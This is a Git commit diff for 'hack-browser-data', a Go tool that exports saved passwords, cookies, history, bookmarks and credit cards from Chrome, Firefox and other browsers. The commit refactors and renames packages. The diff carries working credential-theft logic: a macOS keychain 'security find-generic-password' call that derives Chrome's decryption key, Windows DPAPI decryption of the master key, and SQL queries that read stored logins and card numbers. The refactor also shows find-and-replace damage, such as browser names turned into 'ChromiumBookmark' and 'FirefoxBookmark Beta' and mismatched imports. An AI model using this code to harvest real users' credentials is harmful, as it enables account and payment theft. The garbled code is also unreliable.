feat: rename browser layout and add generics util function

pull/125/head
ᴍᴏᴏɴD4ʀᴋ 3 years ago
parent 6e05315ac6
commit 4551931c89
  1. 10
      cmd/cmd.go
  2. 18
      go.mod
  3. 1419
      go.sum
  4. 25
      internal/browingdata/bookmark.go
  5. 54
      internal/browingdata/browsingdata.go
  6. 2
      internal/browingdata/cookie.go
  7. 2
      internal/browingdata/creditcard.go
  8. 2
      internal/browingdata/download.go
  9. 2
      internal/browingdata/history.go
  10. 2
      internal/browingdata/password.go
  11. 35
      internal/browser/browser.go
  12. 174
      internal/browser/browser_darwin.go
  13. 30
      internal/browser/browser_windows.go
  14. 39
      internal/browser/chromium/chromium.go
  15. 45
      internal/browser/chromium/chromium_darwin.go
  16. 1
      internal/browser/chromium/chromium_linux.go
  17. 30
      internal/browser/chromium/chromium_windows.go
  18. 6
      internal/browser/firefox/firefox.go
  19. 4
      internal/decrypter/decrypter.go
  20. 6
      internal/item/item.go
  21. 4
      internal/outputter/outputter.go
  22. 36
      internal/utils/fileutil/filetutil.go
  23. 10
      internal/utils/typeutil/typeutil.go
  24. 5
      internal/utils/utils.go

@ -23,10 +23,10 @@ var (
func Execute() {
app := &cli.App{
Name: "hack-browser-data",
Name: "hack-browser-browingdata",
Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
Version: "0.3.8",
UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
Version: "0.4.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
@ -88,9 +88,9 @@ func Execute() {
// func Execute() {
// app := &cli.App{
// Name: "hack-browser-data",
// Name: "hack-browser-browingdata",
// Usage: "Export passwords/cookies/history/bookmarks from browser",
// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
// UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
// Version: "0.3.7",
// Flags: []cli.Flag{
// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},

@ -6,17 +6,29 @@ require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/smallstep/cli v0.18.2
github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.2.0
golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
)
require (
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e // indirect
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
github.com/manifoldco/promptui v0.9.0 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/russross/blackfriday/v2 v2.0.1 // indirect
github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
github.com/urfave/cli v1.22.5 // indirect
go.step.sm/cli-utils v0.7.2 // indirect
go.step.sm/crypto v0.15.0 // indirect
golang.org/x/net v0.0.0-20220114011407-0dd24b26b47d // indirect
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 // indirect
)

1419
go.sum

File diff suppressed because it is too large Load Diff

@ -1,25 +1,30 @@
package data
package browingdata
import (
"database/sql"
"fmt"
"sort"
"time"
"github.com/tidwall/gjson"
"hack-browser-data/internal/browser/item"
item2 "hack-browser-data/internal/item"
"hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
"hack-browser-data/internal/utils/fileutil"
)
type ChromiumBookmark struct {
bookmarks []bookmark
item item2.Item
type ChromiumBookmark []bookmark
type bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename)
bookmarks, err := fileutil.ReadFile("bookmark")
if err != nil {
return err
}
@ -32,8 +37,8 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
})
}
// TODO: 使用泛型重构
sort.Slice(c.bookmarks, func(i, j int) bool {
return (c.bookmarks)[i].DateAdded.After((c.bookmarks)[j].DateAdded)
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
return nil
}

@ -1,15 +1,58 @@
package data
package browingdata
import (
"time"
"hack-browser-data/internal/item"
)
type BrowsingData interface {
type BrowsingData struct {
sources map[item.Item]Source
}
type Source interface {
Parse(masterKey []byte) error
Name() string
}
func New(sources []item.Item) *BrowsingData {
bd := &BrowsingData{
sources: make(map[item.Item]Source),
}
bd.addSource(sources)
return bd
}
func (b *BrowsingData) addSource(sources []item.Item) {
for _, source := range sources {
switch source {
case item.ChromiumPassword:
b.sources[source] = &ChromiumPassword{}
case item.ChromiumCookie:
b.sources[source] = &ChromiumCookie{}
case item.ChromiumBookmark:
b.sources[source] = &ChromiumBookmark{}
case item.ChromiumHistory:
b.sources[source] = &ChromiumHistory{}
case item.ChromiumDownload:
b.sources[source] = &ChromiumDownload{}
case item.ChromiumCreditCard:
b.sources[source] = &ChromiumCreditCard{}
case item.FirefoxPassword:
b.sources[source] = &FirefoxPassword{}
case item.FirefoxCookie:
b.sources[source] = &FirefoxCookie{}
case item.FirefoxBookmark:
b.sources[source] = &FirefoxBookmark{}
case item.FirefoxHistory:
b.sources[source] = &FirefoxHistory{}
case item.FirefoxDownload:
b.sources[source] = &FirefoxDownload{}
}
}
}
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
@ -34,13 +77,6 @@ type (
LoginUrl string
CreateDate time.Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
cookie struct {
Host string
Path string

@ -1,4 +1,4 @@
package data
package browingdata
import (
"database/sql"

@ -1,4 +1,4 @@
package data
package browingdata
import (
"database/sql"

@ -1,4 +1,4 @@
package data
package browingdata
import (
"database/sql"

@ -1,4 +1,4 @@
package data
package browingdata
import (
"database/sql"

@ -1,4 +1,4 @@
package data
package browingdata
import (
"bytes"

@ -4,7 +4,8 @@ import (
"os"
"strings"
"hack-browser-data/internal/data"
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/browser/chromium"
)
type Browser interface {
@ -12,13 +13,13 @@ type Browser interface {
GetMasterKey() ([]byte, error)
GetBrowsingData() []data.BrowsingData
GetBrowsingData() []browingdata.Source
CopyItemFileToLocal() error
}
var (
// home dir path not for android and ios
// home dir path for all platforms
homeDir, _ = os.UserHomeDir()
)
@ -43,8 +44,8 @@ func pickChromium(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, choice := range chromiumList {
if b, err := newChromium(choice.browserInfo, choice.items); err == nil {
for _, c := range chromiumList {
if b, err := chromium.New(c.name, c.profilePath, c.storage, c.items); err == nil {
browsers = append(browsers, b)
} else {
if strings.Contains(err.Error(), "profile path is not exist") {
@ -95,30 +96,20 @@ func ListBrowser() []string {
return l
}
func isFileExist(path string) bool {
if _, err := os.Stat(path); os.IsNotExist(err) {
return false
}
return true
}
type browserInfo struct {
name string
storage string
profilePath string
masterKey []byte
masterKey []byte
}
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
chromiumName = "Chromium"
chromiumName = "ChromiumBookmark"
edgeName = "Microsoft Edge"
firefoxName = "Firefox"
firefoxBetaName = "Firefox Beta"
firefoxDevName = "Firefox Dev"
firefoxNightlyName = "Firefox Nightly"
firefoxESRName = "Firefox ESR"
firefoxName = "FirefoxBookmark"
firefoxBetaName = "FirefoxBookmark Beta"
firefoxDevName = "FirefoxBookmark Dev"
firefoxNightlyName = "FirefoxBookmark Nightly"
firefoxESRName = "FirefoxBookmark ESR"
speed360Name = "360speed"
qqBrowserName = "QQ"
braveName = "Brave"

@ -1,121 +1,104 @@
package browser
import (
"bytes"
"crypto/sha1"
"errors"
"os/exec"
"golang.org/x/crypto/pbkdf2"
"hack-browser-data/internal/item"
)
var (
chromiumList = map[string]struct {
browserInfo *browserInfo
name string
storage string
profilePath string
items []item.Item
}{
"chrome": {
browserInfo: chromeInfo,
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
items: item.DefaultChromium,
},
"edge": {
browserInfo: edgeInfo,
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
items: item.DefaultChromium,
},
"chromium": {
browserInfo: chromiumInfo,
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
items: item.DefaultChromium,
},
"chrome-beta": {
browserInfo: chromeBetaInfo,
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
items: item.DefaultChromium,
},
"opera": {
browserInfo: operaInfo,
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
items: item.DefaultChromium,
},
"opera-gx": {
browserInfo: operaGXInfo,
name: operaGXName,
profilePath: operaGXProfilePath,
storage: operaStorageName,
items: item.DefaultChromium,
},
"vivaldi": {
browserInfo: vivaldiInfo,
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
items: item.DefaultChromium,
},
"coccoc": {
browserInfo: coccocInfo,
name: coccocName,
storage: coccocStorageName,
profilePath: coccocProfilePath,
items: item.DefaultChromium,
},
"brave": {
browserInfo: braveInfo,
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
items: item.DefaultChromium,
},
"yandex": {
browserInfo: yandexInfo,
name: yandexName,
storage: yandexStorageName,
profilePath: yandexProfilePath,
items: item.DefaultYandex,
},
}
firefoxList = map[string]struct {
browserInfo *browserInfo
name string
storage string
profilePath string
items []item.Item
}{
"firefox": {
browserInfo: firefoxInfo,
items: defaultFirefoxItems,
name: firefoxName,
profilePath: firefoxProfilePath,
items: item.DefaultFirefox,
},
}
)
var (
ErrWrongSecurityCommand = errors.New("macOS wrong security command")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
// $ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.browserInfo.storage)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
return nil, err
}
if stderr.Len() > 0 {
return nil, errors.New(stderr.String())
}
temp := stdout.Bytes()
chromeSecret := temp[:len(temp)-1]
if chromeSecret == nil {
return nil, ErrWrongSecurityCommand
}
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
if key != nil {
c.browserInfo.masterKey = key
return key, nil
}
return nil, errors.New("macOS wrong security command")
}
const (
chromeProfilePath = "/Library/Application Support/Google/Chrome/"
chromeBetaProfilePath = "/Library/Application Support/Google/Chrome Beta/"
chromiumProfilePath = "/Library/Application Support/Chromium/"
edgeProfilePath = "/Library/Application Support/Microsoft Edge/"
braveProfilePath = "/Library/Application Support/BraveSoftware/Brave-Browser/"
operaProfilePath = "/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = "/Library/Application Support/com.operasoftware.OperaGX/"
vivaldiProfilePath = "/Library/Application Support/Vivaldi/"
coccocProfilePath = "/Library/Application Support/Coccoc/"
yandexProfilePath = "/Library/Application Support/Yandex/YandexBrowser/"
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/"
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/"
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/"
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/"
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/"
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/"
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/"
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/"
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/"
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/"
firefoxProfilePath = "/Library/Application Support/Firefox/Profiles/"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
const (
@ -129,60 +112,3 @@ const (
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
)
var (
chromeInfo = &browserInfo{
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
}
chromiumInfo = &browserInfo{
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
}
chromeBetaInfo = &browserInfo{
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
}
operaInfo = &browserInfo{
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
}
operaGXInfo = &browserInfo{
name: operaGXName,
profilePath: operaGXProfilePath,
storage: operaStorageName,
}
edgeInfo = &browserInfo{
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
}
braveInfo = &browserInfo{
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
}
vivaldiInfo = &browserInfo{
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
}
coccocInfo = &browserInfo{
name: coccocName,
storage: coccocStorageName,
profilePath: coccocProfilePath,
}
yandexInfo = &browserInfo{
name: yandexName,
storage: yandexStorageName,
profilePath: yandexProfilePath,
}
firefoxInfo = &browserInfo{
name: firefoxName,
profilePath: firefoxProfilePath,
}
)

@ -1,16 +1,7 @@
package browser
import (
"encoding/base64"
"errors"
"github.com/tidwall/gjson"
"hack-browser-data/internal/browser/item"
"hack-browser-data/internal/decrypter"
item2 "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
)
var (
@ -42,27 +33,6 @@ var (
}
)
var (
errDecodeMasterKeyFailed = errors.New("decode master key failed")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
keyFile, err := utils.ReadFile(item.TempChromiumKey)
if err != nil {
return nil, err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
return c.browserInfo.masterKey, err
}
return nil, nil
}
var (
chromeInfo = &browserInfo{
name: chromeName,

@ -4,12 +4,13 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"hack-browser-data/internal/data"
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/item"
"hack-browser-data/internal/utils/fileutil"
"hack-browser-data/internal/utils/typeutil"
)
type chromium struct {
@ -21,24 +22,26 @@ type chromium struct {
itemPaths map[item.Item]string
}
// New 根据浏览器信息生成 Browser Interface
// New creates a new instance of chromium browser, fill item's path if item is exist.
func New(name, storage, profilePath string, items []item.Item) (*chromium, error) {
c := &chromium{
name: name,
storage: storage,
profilePath: profilePath,
items: items,
}
absProfilePath := path.Join(homeDir, filepath.Clean(c.ProfilePath))
// TODO: Handle file path is not exist
if !isFileExist(absProfilePath) {
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
if !fileutil.FolderExists(profilePath) {
return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
}
itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
itemsPaths, err := getChromiumItemPath(profilePath, items)
if err != nil {
return nil, err
}
c.itemPaths = itemsPaths
c := &chromium{
name: name,
storage: storage,
profilePath: profilePath,
items: typeutil.Keys(itemsPaths),
itemPaths: itemsPaths,
}
// new browsing data
return c, err
}
@ -46,8 +49,9 @@ func (c *chromium) GetName() string {
return c.name
}
func (c *chromium) GetBrowsingData() []data.BrowsingData {
var browsingData []data.BrowsingData
func (c *chromium) GetBrowsingData() []browingdata.Source {
var browsingData []browingdata.Source
data := browingdata.New(c.items)
for item := range c.itemPaths {
d := item.NewBrowsingData()
if d != nil {
@ -95,9 +99,10 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat
for _, it := range items {
switch {
case it.FileName() == info.Name():
if it == it.chromiumKey {
if it == item.ChromiumKey {
itemPaths[it] = path
}
// TODO: Handle file path is not in Default folder
if strings.Contains(path, "Default") {
itemPaths[it] = path
}

@ -0,0 +1,45 @@
package chromium
import (
"bytes"
"crypto/sha1"
"errors"
"os/exec"
"golang.org/x/crypto/pbkdf2"
)
var (
ErrWrongSecurityCommand = errors.New("macOS wrong security command")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
// $ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.storage)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
return nil, err
}
if stderr.Len() > 0 {
return nil, errors.New(stderr.String())
}
temp := stdout.Bytes()
chromeSecret := temp[:len(temp)-1]
if chromeSecret == nil {
return nil, ErrWrongSecurityCommand
}
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
if key != nil {
c.browserInfo.masterKey = key
return key, nil
}
return nil, errors.New("macOS wrong security command")
}

@ -0,0 +1,30 @@
package chromium
import (
"encoding/base64"
"errors"
"github.com/smallstep/cli/utils"
"github.com/tidwall/gjson"
)
var (
errDecodeMasterKeyFailed = errors.New("decode master key failed")
)
func (c *chromium) GetMasterKey() ([]byte, error) {
keyFile, err := utils.ReadFile(item.TempChromiumKey)
if err != nil {
return nil, err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
return c.browserInfo.masterKey, err
}
return nil, nil
}

@ -9,7 +9,7 @@ import (
"path/filepath"
"strings"
"hack-browser-data/internal/data"
"hack-browser-data/internal/browingdata"
"hack-browser-data/internal/item"
)
@ -117,8 +117,8 @@ func (f *firefox) GetName() string {
return f.name
}
func (f *firefox) GetBrowsingData() []data.BrowsingData {
var browsingData []data.BrowsingData
func (f *firefox) GetBrowsingData() []browingdata.Source {
var browsingData []browingdata.Source
for item := range f.itemPaths {
d := item.NewBrowsingData()
if d != nil {

@ -16,8 +16,8 @@ import (
var (
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
errDecryptFailed = errors.New("decrypter encrypt value failed")
errDecodeASN1Failed = errors.New("decode ASN1 data failed")
errDecryptFailed = errors.New("decrypt encrypted value failed")
errDecodeASN1Failed = errors.New("decode ASN1 browingdata failed")
errEncryptedLength = errors.New("length of encrypted password less than block size")
)

@ -1,7 +1,7 @@
package item
import (
data2 "hack-browser-data/internal/data"
data2 "hack-browser-data/internal/browingdata"
)
var DefaultFirefox = []Item{
@ -161,7 +161,9 @@ func (i Item) String() string {
}
}
func (i Item) NewBrowsingData() data2.BrowsingData {
// NewBrowsingData returns a new Source instance.
// TODO: remove this function
func (i Item) NewBrowsingData() data2.Source {
switch i {
case ChromiumKey:
return nil

@ -10,7 +10,7 @@ import (
"github.com/gocarina/gocsv"
jsoniter "github.com/json-iterator/go"
"hack-browser-data/internal/data"
"hack-browser-data/internal/browingdata"
)
type outPutter struct {
@ -35,7 +35,7 @@ func (o *outPutter) MakeDir(dir string) error {
return nil
}
func (o *outPutter) Write(data data.BrowsingData, writer *os.File) error {
func (o *outPutter) Write(data browingdata.Source, writer *os.File) error {
switch o.json {
case true:
encoder := jsoniter.NewEncoder(writer)

@ -0,0 +1,36 @@
package fileutil
import (
"io/ioutil"
"os"
)
// FileExists checks if the file exists in the provided path
func FileExists(filename string) bool {
info, err := os.Stat(filename)
if os.IsNotExist(err) {
return false
}
if err != nil {
return false
}
return !info.IsDir()
}
// FolderExists checks if the folder exists
func FolderExists(foldername string) bool {
info, err := os.Stat(foldername)
if os.IsNotExist(err) {
return false
}
if err != nil {
return false
}
return info.IsDir()
}
// ReadFile reads the file from the provided path
func ReadFile(filename string) (string, error) {
s, err := ioutil.ReadFile(filename)
return string(s), err
}

@ -0,0 +1,10 @@
package typeutil
// Keys returns a slice of the keys of the map. based with go 1.18 generics
func Keys[K comparable, V any](m map[K]V) []K {
r := make([]K, 0, len(m))
for k := range m {
r = append(r, k)
}
return r
}

@ -53,11 +53,6 @@ func TimeEpochFormat(epoch int64) time.Time {
return t
}
func ReadFile(filename string) (string, error) {
s, err := ioutil.ReadFile(filename)
return string(s), err
}
func WriteFile(filename string, data []byte) error {
err := ioutil.WriteFile(filename, data, 0644)
if err != nil {

Loading…
Cancel
Save